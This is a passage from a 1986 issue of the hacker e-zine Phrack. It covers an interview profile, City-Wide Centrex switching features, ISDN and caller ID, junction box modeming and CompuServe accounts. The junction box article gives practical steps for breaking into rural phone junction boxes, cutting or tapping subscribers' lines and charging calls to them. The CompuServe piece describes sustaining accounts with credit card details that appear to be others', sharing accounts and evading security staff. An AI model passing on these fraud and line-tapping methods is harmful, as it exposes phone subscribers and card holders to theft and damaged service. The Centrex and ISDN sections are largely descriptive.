His phreak experience began in March of 1982 through the new board's software having a section called "Phreak‑80". People started calling and paying attention to it, including one caller by the name of Susan Thunder, which is how he personally began to phreak. She lead him around the scene which included the infamous 8 BBS and to other people such as Larry Kelly. Some of the memorable phreak boards he was on included 8 BBS, MOM, OSUNY, The Private 414 Board (as in THE 414's), Blottoland, The Connection, L.O.D., Plovernet, Pirate 80, Sherwood Forest I, II, and III, WOPR, IROC, Pirate Trek, Pirate's I/O, Datanet, Stalag 13, A.I. Labs, and Hell Phrozen Over. He gives credit for his phreak knowledge to Susan Thunder and the people that she put him in touch with.

Tuc's work is as a computer and communications security freelance consultant. He's done lots of programming in basic for the TRS‑80, and assembly language for the IBM 370.

Tuc does hack and phreak, but with his employer's consent. Tuc attends the TAP meetings in New York occasionally, but in the past he was a regular. He's attended all Phreak‑Con's, he was an assistant editor of the original TAP, and was a pioneer in the phreak world before blue boxing and Alliance Teleconferencing was common knowledge. Besides that, he was the one on West 57th Street labeled "Scott Jeffrey Ellentuch". He was hard to find on that particular program.

Tuc has been involved with various groups in his lifetime including (in the order that he joined them) The Warelords, The Knights of Shadow, Apple Mafia, and, at the same time as Apple Mafia, Fargo 4A.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Interests: Telecommunications (modeming, phreaking, hacking), martial arts (weaponry), radio controlled cars and airplanes, and video games.

Tuc's Favorite Things

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Women: A quiet evening with the girlfriend.

Cars: MG‑TD Kit Car.

Foods: Anything vegetarian.

Music: The Hooters, and any band he worked for. Leisure: Having just a "good old time".

Most Memorable Experiences

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Car ride with 8 phreaks in Tuc's VW Super Beetle at a Phreak Con. The Fargo 4A stunt (getting all Fargo, N.D. DA's to go home).

Some People to Mention

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Susan Thunder (for getting him started)

All those that helped him while he was coming up in the world (too many to

mention)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Tuc is 150% against credit carding. He thinks that is out and out criminal activity, something that is totally against the code of ethics of phreaking and hacking. He also doesn't appreciate the fighting between phreaks that occurs so often in the phreak world today. He thinks the modern community is crumbling.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I hope you enjoyed this phile, look forward to more Phrack Pro‑Philes coming in the near future. And now for the regularly taken poll from all interviewees.

Of the general population of phreaks you have met, would you consider most phreaks, if any, to be computer geeks? No names mentioned, but yes, a few of the ones he has met are computer geeks. Thank you for your time, Tuc.

Taran King

City-Wide Centrex

==Phrack Inc.==

Volume One, Issue Eight, Phile #3 of 9

^

/ + \

%PLP%>>>>>>>>>>>>>>>>>>PLP<<<<<<<<<<<<<<<<<<%PLP%

%‑‑‑%

% P % The Executioner % P %

% h % h %

% a % and the % a %

% n % n %

% t % PhoneLine Phantoms! % t %

% o % ‑ ‑ ‑ o %

% m % m %

% s % Present: The City Wide Centrex % s %

%‑‑‑%

[PLP]>>>>>>>>>>>>>>>>>>PLP<<<<<<<<<<<<<<<<<<[PLP]

The CWC (City‑Wide Centrex) feature provides multiple location large business customers with centrex features, attendant features, and dialing capabilities that are transparent across geographic locations and are independent of the configuration of the #1AESS switches providing the service. Historically, centrex customers have been somewhat limited to the bounds of the servicing switch. Customers could be built across switches, but with limitations. Multiple locations could be arranged to share some features in common only when placed in a centrex complex served by a single switch. Obviously, for this to be feasible, the locations had to be geographically near each other. The CWC feature expands the concept of the centrex group by allowing a multi‑located business to function as a single centrex arrangement called a CWC group. Although each customer location remains a part of its own switch with its own individual capabilities, it now functions as part of the CWC group. Selected centrex features that were defined to operate within the bounds of a serving switch centrex group are now redefined to operate within the bounds of the CWC group. The outer boundary of the CWC cannot exceed the boundary of the LATA due to LCCIS constraints.

The CWC feature provides a comprehensive communications package for a multiple location centrex customer. Some advantages are:

o Extension to Extension (Intercom) dialing.

o Concentration of private facilities access at one location.

o Elimination of dedicated facilities between locations within the CWC group.

o Transparency of feature operation across switches.

Use of CCIS trunks to replace tie trunks results in the need for fewer total trunks and trunk groups. Remote access reduces the total number of customer trunks required and centralizes customer facilities at one location. All switches need LCCIS so that information can be passed between locations.

==================

=Intercom Dialing=

==================

Intercom dialing gives the customer the ability to dial extension numbers (intercom) to other locations. This is done either by dialing the interlocation intercom number or by a speed call code which contains an interlocation intercom number. The customer has the option of routing these interlocation intercom calls via simulated private or public facilities. After determining the intercom number dialed is in location, the originating office routes the call to that location. The call is identified in the centrex customer's digit interpreter tables as an interlocation intercom call and normal interoffice call processing determines routing. A decision is made as to whether simulated facilities are used for routing the call based on the location identification of the called line. If needed, a simulated facility is seized. This is determined by a distant line status request on the called line at the end of dialing. The originating offices sends information to the terminating office identifying the call as interlocation intercom call. The CWC group and location identifier of the calling party are also sent. This is done by using the RCLDN (retrieval of calling line directory number) to transmit this information. The terminating office recognizes as incoming call as such. If the two‑way simulated private facilities are used, the count on facilities at the terminating office is incremented. The use of 2 way simulated pricate facilities for a call is based on the location identifier of the calling line and whether simulated private facilities were used on the outgoing side.

===========================

=Centrex Attendant Console=

===========================

The tie trunks are replaced by CCIS trunks, therefore some changes are required in the use of the attendant console. The changes are as follows:

o Busy Verification and attendant call through tests are not applicable since there will no longer be specific trunks dedicated to the customer.

o The existing trunk group busy lamps are replaced with busy lamps for the simulated facilities between locations.

The digit interpreter table entry at each remote location contains the "Dial 0" DN for the attendant. This is done to process interlocation intercom calls which terminate to the attendant. If the attendant console uses a centrex data link, the line equipment assigned to the DN should specify the call indicator lamp to be used. A different DN should be used for each location if separate call indicator lamps are desired for calls from each location. This call indicator lamp flashes at the intragroup rate of 120ipm (interruptions per minute) to indicate interlocation intercom calls.

The RCLDN primitive is used to transmit information for intercom dialing between locations. In addition, the RDLS priminitive is used to provide CWC information to obtain the CWC group and location identifier of the called line. The originating, incoming, and CCIS incoming registers are used to save information at both he originating and terminating offices. These registers include the CWC group, CWC location identifier, a CWC call type, and an indicator whether simulated facilities were used at the originating.

==========================

=Remote Access to Private=

= Facilities =

==========================

Remote access to private facilities allows the CWC customer to access physical private trunks and simulated facilities at a single location. This allows customers to consolidate their private facilities at one location. The number of trunks required is reduced. Any station can access these facilities by dialing the same access code as the main location. If a station dials the access code for a private facility, the call is routed to the main location using the same facility as an interlocation intercom call. It is then routed out from the main location. The CWC feature does not allow the customer to use the ACOF (Attendant Control of facilities) feature from a remote location. The types of private facilities which are accessible are:

o Tie Trunks

o FX (Foreign Exchange)

o CCSA (Commmon Control switching arrangement)

o ETS (Electronic Tandem Switching)

o WATS (Wide Area Telecommunications system)

o FRS (Flexible Route selection)

o EEDP (expanded electronic tandem switching dialing plan)

The CCIS direct signalling messages are used to communicate between the remote and main locations during the digit collection and analysis of out‑going calls. Once the voice path has been established, a CCIS banded signalling message transmits the digits collected. A remote access register is used to store information retrieved during the processing of the signal requests. This register belongs to the OR (Originating Register) pool at the main location. The remote location is responsible for digit collection and transmission of collected digits. A remote access data CCIS direct signalling message transmits the digits from the remote to the main location, which returns instructions for the next action to be performed. The following items are sent from the remote to the main location:

o The digits collected.

o The FRL(facility restriction level) of orig. line.

o A FRL present indicator

o A customer changeable speed call indicator.

o A call forwarding over private facilities indic.

o An add‑on indicator.

o The CC location identifier of remote location.

o The remote access register # of the main location.

o An abandon remote access request indicator.

The main location analyzes the information transmitted and returns the next set of instructions to the remote location. The full analysis of a call may require several direct signalling messages with information saved from the previous direct signalling messages. This is required to process the current direct signalling message being saved in the remote register. The information gathered is used to establish the voice path for the call. Upon receipt of a direct signalling request, processing is done in accordance with the function indicated in the remote register. The types are as follows:

o Translate access code

o Translate prefix digit

o "1+" dialing check

o Check for possible account code

o Complete account code received

o 3 digit translation

o 6 digit translation

o 10 digit translation

o Analyze authorization code

o FRS 3 Digit translation

o CCSA translation

o Abandon call

After processing at the main location is complete, the remote access register is set up to identify the next type of function. Then, the main location returns a CCIS remote message to the remote location. The information returned from the main location is always in the same format and is saved on the OR.

==========

=Features=

==========

The CWC group is allowed many features, here is a list of them.

1. Call Forwarding Variable: Users can forward their calls to remote stations located in another office by dialing the access code and the intercom number of the CWC station.

2. Call Forwarding Busy Line: Provides for the forwarding of calls to any interlocation station within the CWC group upon encountering a busy station.

3. Call Forwarding Don't Answer: Provides for the forwarding of calls that are not answered within a predetermined number of ringing cycles.

4. Call Transfer: Allows the station user to transfer any established call to any other station within the CWC group with the following constraints.

o Dropback rules do not permit 2 outgoing trunks to be involved in the final 2 party connection. However, 2 outgoing trunks can be involved in a 3 way conversation.

o On interoffice calls involving a fully restricted station, flash capability is allowed. However, the controller is not permitted to connect the fully‑restricted station to any other station, either in dropback or a 3 way conversation.

Cross network call transfer transparency requires that each location be provided the Call Transfer‑Individual or Call Transfer‑Individual‑All calls feature. The CTO (call transfer outside) option may be provided.

5. Call Waiting feature provides a burst of tone when the called party is busy on another call. The types of Call Waiting features and CWC interactions are:

o Call Waiting Originating: allows a CWC calling station to direct a call waiting tone toward a busy station within the same CWC group.

o Call Waiting Intragroup: gives call waiting tone to a called party which has call waiting terminating on all intragroup calls.

o Dial Call Waiting: Allows originating CWC station users to invoke call waiting on CWC intragroup calls by dialing an access code followed by the extension number of the station to be call waited.

6. Distinctive Ringing/CW Tone: Allows a CWC station user to determine the source of a call incoming to the station. This is done by associating a distinctive ringing or tone pattern with the incoming call based on its source. Interlocation CWC calls receive intragroup treatment.

7. Message Desk Service: Provides centralized and personalized call coverage or message answering capabilities which can serve the needs of all CWC locations. The Call Forwarding Variable and Call Forwarding Busy Line/Don't Answer feature are needed of forwarding calls from stations within the CWC group.

8. LASS (Local Area Signalling Service): Provides the called party with call management and security services. Local CCIS is required for multiple‑office grouping within a LATA for intercom calls. The following features comprise the LASS offering :

o Automatic Recall: Enables a station user to place a call to the LCDN (Last Call Directory Number) currently associated with the users fone. The LCDN can either be the last party called by the station user or the last party to call the station user.

o Distinctive Alerting: Allows the station user to prespecify a set of numbers which activate a distinctive ring or distinctive call waiting tone. The CWC extension numbers can be entered on the screen list. When the user receives a call from one of these numbers, the phone if idle, will ring with a special distinctive ringing pattern. If a call waiting customer's line is busy, a special tone notifies the customer of the impending call.

o ICLID: provides the number which is calling the station user. (Explained in other files)

o Selective Call Forwarding: (Explained in other file)

o Selective Call Rejection: Provides the user with the capability of not being alerted by calls from a specified set of numbers. The user inputs the numbers to be rejected from the station set. These numbers are specified either directly (dialed in) or as the number of the last call received. The CWC extensions are allowed on the screen list.

========================================

=(C) 1986 The Executioner and The Egyptian Lover and PLP =

========================================

The Integrated Services Digital Network

==Phrack Inc.==

Volume One, Issue Eight, Phile #4 of 9

The Integrated Services Digital Network

‑‑‑==> By Dr. Doom <==‑‑

ISDN or Integrated Services Digital Network has been talked about off and on by AT&T and until now has just been a demented AT&T fantasy, but it is to soon become a reality. This phile is the second I have written on the subject and is a cumulation of information from three basic sources :

<1> The ISDN AT&T Technical Journal

<2> An interview with an AT&T Long Distance Operations Center Supervisor who will be referred to as Mr. R.

<3> and some general ISDN articles from Southwestern Bell Newsletters.

ISDN Definition

===============

CCITT Definition : An end to end digital network that supports a wide range of services accessed by a set of standard multipurpose user‑network interfaces.

ISDN will allow for incredible new services that will drastically change the telecommunications industry and everyone's lives. For example, one new service ISDN will bring about is calling party identification. This will allow businesses and individuals who subscribe to that service to know exactly what number you are calling from before they even decide whether or not to answer the phone.

In the case of dialups like MCI, the originating # will be stored in a computer along with whatever code and number that person dialed which would greatly hinder abuse of codes from a home phone.

This is just the tip of the iceberg as far as ISDN is concerned. This phile will analyze and describe how The Integrated Services Digital Network will operate when it is implemented.

Out of Band Signalling

======================

Essential to a network capable of providing such enhanced services as calling party identification is out‑of‑band signalling. Until the late 70's, when AT&T introduced the 4ESS toll switch and CCIS into the national network, switches had communicated with each other over the same channels in which our voice or data was transmitted (in‑band). During this time, all signalling between switches had to be limited to a type that could be accommodated in the 'voice' channel thus making it impossible to offer any advanced services.

The development of the separate Common Channel Interoffice Signaling (CCIS) network allowed for more freedom and flexibility and thus came about the AT&T Calling Card service.

ISDN brings an interface from the network to the subscriber's equipment. This is a completely digital interface subdivided into two types of channels :

The 'D' Channels are those used for sending signalling and control information across the interface. The 'B' Channels are those used only for customer information which can be in the form of voice, data, or video.

The 'D' Channel hence manages the information or 'B' Channels making the signalling 'out‑of‑band' and not 'in‑band' as it is now. This approach allows for two distinct benefits :

<1> All the capacity in the information bearing channels is available for customer use.

<2> The 'D' Signaling channel allows for distributed processing across the ISDN Network.

ISDN Interfaces

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The CCITT has defined two major interfaces that will be used in conjunction with the 'D' and 'B' channels :

The Basic Rate Interface (BRI) consists of one D Channel and two B Channels. This interface is used for locations where information transport is relatively small like a residence.

The Primary Rate Interface (PRI) consists of one 'D' Channel and 23 'B' Channels. It is used for large capacity vehicles such as PBX's.

Notice that there are 2 DIFFERENT 'B' Channels in the Basic Rate Interface. This allows TWO different types of data to be sent over the same connection at the same time. For example, you could be ULing files to a board on Channel 1 while talking to the SYSOP on Channel 2.

So, if both you and a board both have a BRI ISDN Interface, next time the SYSOP says 'Go Voice', you simply pick up the handset, switch it to channel 2, and start talking...

These multiple channels are also the foundation for the widespread use of Video Phones. Just like you were sending data over channel 1, and talking voice on channel 2, you can be sending video over channel 1 (allowing the party's to see each other) and talking on channel 2.

ISDN Devices

============

AT&T Technologies, Advanced Micro Devices, and Intel are all in the process of designing equipment that will be compatible with ISDN. So far, the two main designs talked about through SWB and AT&T are :

<1> The Voice/Data Terminal This will look like any regular computer terminal with the exception that it has a handset on the side of the terminal and a couple of switches that will allow you to decide which channel is for DATA and which channel is for VOICE. This will also (of course), allow two customers with a V/D Terminal to be exchanging DATA over one channel while talking voice over the other one.

<2> The Video Phone

This is where (yes) Big Brother is arriving... The Video Phone will work pretty much just like it does in Science Fiction movies like 'Aliens' or whatever. If two ISDN customers have video phones, they can talk and see each other or whatever they want to show each other (HAHA) at the same time. Video Phones obviously open up new frontiers for those with entrepreneurial instincts. You can bet there will be some interesting Video Phone Sex lines around... Then, you can have things like 'Dial a Movie...Please enter (1) to view Rambo'..etc... The list goes on. This also leads to a whole new world of problems for the telephone company like 'Obscene Video Calls'. This is again where Calling ID becomes important.

Each of these units, and others that will work with ISDN will have some sort of a special viewing screen that will contain the necessary information about incoming calls which includes the originating number and can include such things as :

<1> The name of the owner of that #

<2> The city and state

<3> The whole address for that #

AT&T ISDN Building Blocks

=========================

AT&T has designated certain 'building blocks' that will eventually be laid in place across the entire country to form ISDN.

<1> AT&T Communications Service Node

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The service node is the customer's gateway to the AT&T Communications nodal family of services, including MEGACOM, MEGACOM 800, and Acunet. The first service node went into service in 1985 in Philadelphia, PA.

<2> Integrated Access

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This allows customers to integrate switched and private line services over a single DS‑1 link to the Service Node.

<3> Out‑of‑Band Signaling

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Discussed earlier.

<4> CCS7

‑‑‑‑‑‑‑‑

The CCS7 Common Channel Signaling Network will soon replace CCIS as an out‑of‑band signalling between AT&T Network Communications Facilities. Because of its longer message format and layered structure, the CCS7 will support the new features.

<5> Digital Backbone Network

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This nationwide AT&T Network includes extensive lightwave and digital radio routes. By the end of 1988, these Digital Lightwave routes will extend to Europe with the TAT‑8 lightwave system, and across the Pacific with HAW‑4/TPC‑3.

<6> Intelligent Software Controlled

AT&T Communications Network

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This brings about more advanced software related services listed in #1.

AT&T ISDN Operations

====================

Access Transport

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Your DS‑1 signal is transported from your ISDN equipment to an AT&T Communications Service Node somewhere.

Your line gets to AT&T by tariff from the local exchange carrier (i.e... Southwestern Bell, GTE, or whomever happens to own your local switch...) or AT&T. The direct link to the AT&T Service Node bypasses your local switching.

AT&T Service Node

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Your local AT&T Service Node is a service office that acts as a gateway to all the new AT&T Nodal ISDN services. This service node is typically composed of :

<1> A Refinished 4ESS Switch

<2> CNI Ring (Common Net.‑Interface)

<3> Digital Access and Cross Connect System (DACS)

Here is a diagram of how a customer location either goes to a local switch or AT&T's node :

Key

‑‑‑

CL = Customer Location

= = DS‑1 Line

! = DS‑1 Line

> = Exiting out to AT&T Network

‑‑‑‑‑

‑

**** ‑ Bell ‑

*CL*=======‑ 5ESS ‑

**** ‑

‑‑‑‑‑

****

*CL* ‑‑‑‑‑‑‑‑!‑‑‑‑‑‑‑‑

****===========4ESS=====>

‑ 4ESS=

**** ‑ !

*CL*======DACS=! ! CNI==>

**** ‑DACS ! CNI

‑DACS= !

‑ ! 1PSS====>

‑ !=1PSS

‑

‑‑‑‑‑‑‑

AT&T Service

Node

The above diagram shows first how an AT&T Customer with ISDN can either continue service with his local telephone co. or go with a direct link to the AT&T Service Mode. All lines going to an AT&T Service Node whether through Bell or a direct link terminate on either the 4ESS or the DACS. When a line terminates on a DACS it serves as an Integrated Access Distributor and sends the call to the 1PSS (Packet Switch) for Acunet Packet Service or to the 4ESS and then eventually out to the AT&T Network.

The AT&T Internodal Network

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In the internodal network facility, AT&T is in the process of deploying both digital lightwave and digital radio systems.

Lightguide Systems :

In areas where growth is low, the FT3C and FTX180 Single mode terrestrial lightguide systems will be used between nodes.

On high growth routes AT&T will install fiber pairs at line rates of 1.7Gb/s with 20 mile repeater spacings.

Digital Radio :

In the digital radio area, 4Gb/s systems such as the TD‑90 and the TD‑180 provide a vehicle for rapid expansion of digital connectivity.

ISDN and Digital Switches

=========================

AT&T has redesigned the 5E Switching Modules in such a way that they are fully compatible with ISDN, but many of the existing 5E's and other switches were manufactured without ISDN capability. To meet this need, AT&T has produced ISDN interfaces that modularly connect to the system. Here is a diagram of a 5ESS Switching Module with interfaces :

Key

‑‑‑

$ = ISDN V/D Terminal or Video Phone

% = Standard Telephone

= = Digital Line

< = In‑Band Line

ISLU = Integrated Services Line Unit

PSIU = Packet Switch Interface Unit

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑ 5ESS ‑

‑ Switching ‑

‑ Module ‑

‑

‑‑‑‑‑‑‑‑‑‑‑‑=‑

‑ =

$====‑‑‑‑‑========

‑ ‑

$====‑ ‑ ‑‑‑‑‑

‑ISLU‑ ‑ ‑ ‑

%<<<<‑ ===== PSIU ‑ ‑

‑ ‑ ‑

$====‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The two new hardware additions are :

<1> Integrated Services Line Unit and

<2> The Packet Switch Interface Unit

These units allow a LOCAL 5ESS (or other digital) Switch to serve both ISDN and non‑ISDN customers. These interfaces are integrated into a switching module in a way that will allow ISDN customers to maintain all their previous Bell services like Local Calling. Notice also that all lines, whether ISDN or not, terminate on the ISLU.

Calling Party Identification

============================

Discussed briefly in the preface of this phile, the ISDN enhanced Calling Party Identification service offered by AT&T ISDN will be into service along with the ISDN.

This quote out of the AT&T ISDN Technical reference should give you a good idea of the impact ISDN will have on hacking and phreaking :

'One example of an enhanced service which has already been included in the ISDN signaling protocol and will have a fundamental impact on day to day telecommunications is the provisions of calling party identification. Calling party ID will help us decide whether or not to answer incoming calls and will minimize instances of nuisance calls and COMPUTER FRAUD via telephone.'

Mr. R, our AT&T Supervisor has been attending ISDN Conferences that include representatives from all the major LD Companies (AT&T, MCI, GTE, LDS, etc..), the Regional Bells, and other concerned parties. He said quote 'One of the controlling factors behind The Integrated Services Digital Network is the simple fact that AT&T, MCI, and other long distance companies are losing MILLIONS to Phone Phraud.' Once ISDN is realized, so will network wide Calling Party Identification.

Again, our friend Mr. R will enlighten us on the subject of ISDN Calling Party ID and a simple explanation of how it will work :

'Right now, when you pick up the phone in your home, Port Isabel South Western Bell knows that you did. Then, when you dial a number, they know what number you dialed. So they send that information along to us (the AT&T Toll Switch). We then send that along through the network to the person you are calling.'

Of course, there is one transaction between AT&T and a Bell Office at the end that he left off, but if the person or computer you are calling has ISDN Calling Party ID service, your originating # will be sent along the DS‑1 Line Interface from Bell to his equipment and show up on his screen after traveling through the network like Mr. R described.

This is rather simple when you think about it and is one example of how a once shattered network is working together.

Some Sample CP ID Uses

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This can be used by large telephone ordering companies to instantly display a record of that persons credit, previous orders, etc... before the call is even answered on the attendant's terminal.

When someone logs onto a computer, the originating # is listed on the user log along with the account name, etc... so that if there is an unauthorized login, they can contact the authorities to do whatever or monitor that number until they get enough evidence to prosecute. The same thing holds true with LD Dialups. They will record the originating number along with the code and bill making MCI use rather dangerous.

SWB ISDN News

=============

The following article was extracted from The Southwestern Bell Texas Publication of Telephone Times and is entitled 'User Forum simplifies ISDN' :

" Houston‑‑‑Houston Marketing employees played show and tell with two customers and all three groups are better off for it.

Marketing Representatives, with support from Bell Comm. Research, Illinois Bell, AT&T, and McDonald's Corp. met with Shell and Tenneco to discuss ISDN. 'ISDN is an evolving technology' said Bob Campbell, division manager marketing business sales. 'It's still in the developmental stage. These User Forums will give customers input on how it's deployed and what it will look like.'

ISDN is an all digital network that transmits voice and data messages simultaneously over a single telephone line.

'The User Forums allow customers to share information on specific problems concerning implementation, training, customer premise equipment and applications,' Campbell said.

Linda Hobson, manager marketing administrative and coordinator of the event, said not only will User Forums be standard practice in Houston, but probably will become the national standard.

'We're doing it quarterly here, but as more people become interested, we may meet more often,' Hobson said.

Shell and Tenneco, who have signed letters of intent to purchase ISDN, were specifically interested in such topics as trial status (SWBT's ISDN trials will begin soon in St. Louis and Texas), available features, power requirements, and future enhancements.

'In the past, we bought the available enhancements, then sold them to the customer,' said Hobson. 'That's changing. We have to find out what the customer wants, then deliver the service that meets the specific needs'"

That concludes the nice little article which by the way, contained some interesting little tidbits of information.

Conclusion

==========

ISDN is a VERY complicated plan that will drastically change the telecommunications scene in this country and abroad. Although AT&T has boasted in it's Technical Journals of being able to have its ISDN Capable Network completed by Early 1987, this date seems to keep getting postponed back according to our friend Mr. R (The AT&T Supervisor) and he is shooting for large scale ISDN no earlier that late 1988 or 1989. Whenever ISDN does become reality, people will probably just put out files with lists of computers that subscribe to ISDN Calling Party Identification, and tell people not to call them from their home.

I hope you have enjoyed reading this phile on ISDN, I will be on the outlook for more information on it.

If you don't already have the # and New User Passwords to Metromedia BBS, send

The Art of Junction Box Modeming

==Phrack Inc.==

Volume One, Issue Eight, Phile #5 of 9

****************************************

******************** The Art of Junction Box Modeming ******************** ******** Written Exclusively For: ********

******** PHRACK INC.! ********

****************************************

* by Mad Hacker of 616 *

* Watch for Thieve's World ][ coming soon, now with 33 megs! *

**************************************

This file will detail the use of a rural junction box to fraud the phone company and make all the free phone calls you want to BBS or AE by.

There are two basic types of rural junction boxes: Residential and Group boxes. I will first discuss Residential as they are easier to find and easier to use. There are a couple of requirements before you can make full use of a Junction Box. First you must have some kind of portable computer with a built‑in modem or at least a hand phone if all you want to do is make free calls to your friends. For computer I would recommend something like a Model 100 from Radio Shack. Small, inexpensive but only 300 baud and only 32K of total storage.

Anyway you can find residential junction boxes in most any rural area just a few feet off the road and usually covered over with local weeds. Fish your way thru the weeds and open it up. Some just open with a twist or a turn, others are actually locked and require a little more patience. Anyway once you have it open, you should see at least 4 pairs (possibly more) of wires. You are only concerned with the pair containing both a red and a green wire.

Now you need to make a choice: Do you want to totally cut off the regular owners of the phone line and do actual damage to this junction box or leave them connected but have the possibility of them picking up their phone and hearing your carrier?

Usually you will want to cut them out totally, so simply find a bit of slack in the line and cut both wires. Now in most boxes the connection to the outside world comes from the bottom of the box, but sometimes you will find one that doesn't conform. Simply attach a hand phone to the wires (matching up colors, of course) and see if you get a dial tone. Anyway once you have the proper pair then hook up to your modem line and dial anyway. Meanwhile the lawful owners of the line will get a dead line on their end, so try to do this only when you think no one would be using the phone, like 11PM to 7AM or else they will probably call their LOC and tell them to fix the line and when they see the cut wires, they will wonder what went on there. Finally be a good guy and when you are done, resplice the wires together and shut the box.

Now usually you don't want to cause permanent damage to the box, so simply strip off the insulation on the line and attach the red and green ends of your modem cord to them. Now when you cut in, it will be much like an extension was picked up. Simply dial away and have fun. Of course if anyone at the house picks up the line they will get your carrier and will wonder, so try to limit your activities also to the same hours mentioned above, unless you know who you are ripping off and when they use the phone. The advantages of this method is that once you strip the wires, there is little work to do each time you use the box again.

Now what do you do if you are lucky enough to find a Group box? Well first you are confronted with a multitude of wires, anywhere from 10 pairs up to 100 if you use a box on the edge of a small town. Finding a pair of the right wires is a little more difficult unless your LOC has done repairs at this box in the last couple of months, in which case a lot of the wires will already be paired off. If you aren't so lucky find a couple of wires and try them out. Once again you have the choice of stripping or cutting the wires, but the advantage here is that you can use this box for about 4‑6 months without having to find a new one.

What is the this junk about having to find a new box? Well you see when you use a junction box in this manner, you are basically adding an illegal extension to a private line. Any calls you make will show up on the rightful owners bill. If you are only using the box for one or two short to medium length calls a week, then you might not have any problems. However if you use a box too much and the people keep calling the billing office about the extra calls, the billing office will call those numbers and hear the carrier. This will tip them off to the fact that someone is either lying at the rightful owner's house or that someone has tapped into their phone line. At this present time in the Midwest, it take about 2‑3 months for the LOC to realize that someone is playing with their junction box. What they do is come out and repair the wires and usually put a newer lockable box on the site to discourage illegal use. I haven't yet really pushed the LOC to any limits yet, but one might suspect that has Junction boxing catches on to those of us who have access to laptop computers, the LOC may find some way of catching us at our little game.

If anyone has any new information on how your LOC is handling this use of their junction boxes please let us know by leaving mail for Thomas Covenant on any Metal Shop board.

[Postscriptum note by Thomas Covenant: I'd recommend one of those socalled "portable" AT‑compatibles. Great clock speed, 1200 baud, and a bigger screen. And why not pack a picnic lunch and some booze? You'll be there all day once you get started!]

Compuserve Info

==Phrack Inc.==

Volume One, Issue Eight, Phile #6 of 9

COMPUSERVE INFO

‑‑‑‑‑‑‑‑

Compiled and

Related by:

Morgoth and Lotus

‑‑‑‑‑‑‑‑‑

Since its rather humble beginnings in Dublin, Ohio some years ago, Compuserve, or CIS, as it will be referred to in this article, has grown to become the largest entertainment/public user oriented system in the country. This file is divided into two parts. The first is how to get your own CIS ID number, and make it last a relatively long time. This part may seem like old hat to some of you out there. The second part is information on what to do once you are on the system...tricks and tips to keep you out of trouble, or cause trouble.

A Compuserve identification number is divided into two parts; a project number and a programmer number. An example would be 70007,1460. This ID is what you will be known by at all times on the system. When you log on, you will also be prompted for a password, in addition to your user ID. The password is divided into two words, kept apart by a separator (‑,:,.,etc). The password may be any two words the user desires, including garbage, which makes gaining an ID by hacking the password almost, if not totally, impossible. The most popular, and about the only way left, of gaining an ID is by buying what the system calls a snapak. These are the little goodies you see in the store in the introductory packets. With this, you can gain access to most, but not all of the system.

The first ID, or the "intro" ID will last about a week, at which time, Compuserve automatically changes the password, and sends the new one to you via the US Postal service. This is a key point to the ID scam. You MUST have valid Credit Card information to be able to continue using the ID. I have heard of intro IDs going bad in a matter of 2 or 3 days due to having non‑valid credit card info. So you need to set up a location to which your second password can be mailed. This second password should last about a month, depending on how much credit the CC holder has on his card.

When applying credit to a Visa or Mastercard, Compuserve will submit the charges about once a week. If you run up about $500 in connect charges, and the credit card cannot hold it, the ID will go bad. This is the most common way for an account to run out.

Your first password has some limits. Due to hackers using snapaks, Compuserve has installed a system which prohibits IDs without the second password from entering any type of game online. This ranges from the ever‑popular MegaWars, to YGI, all the way down to Casino. This is one reason why the second password is so important.

If more than one person will be using the account, which is usually the case, there are also some limits to be observed. The same ID can no longer enter the CB simulator more than once. If it is tried, the message "exceeding job limit" will occur, and you will be taken back to the prior menu. The same ID can go into a SIG at the same time, but both people cannot enter COnference mode while on the SIG. The best way to talk to another user who is on the same ID is to go into any forum, say CBMART, and have one of them enter COnference mode. There, the two users can use the /SEN command to relay messages between the SIG and COnference. This is kind of complicated, but it is the only way. Also, anytime the message "exceeding job limit" goes to your screen, the people at CIS put a small "red mark" by your name. If it occurs too frequently, they look into the situation to find out if more than one person may be using the same ID.

Special IDs ‑‑ Ok, now that you are on Compuserve, what should you look out for? As mentioned before, the user ID is divided into [project number,programmer number] format. The Programmer number is of no importance, but the Project number is. Some of the ones you should be aware of while online are:

70000,xxxx Compuserve Security

70003,xxxx Compuserve Employee

70004,xxxx Same as above

70005,xxxx Radio Shack demo account

70006,xxxx Customer service, or "Wizard" number (see below) 70007,xxxx Complimentary account

76703,xxxx SIG SysOp, or Forum Info Provider

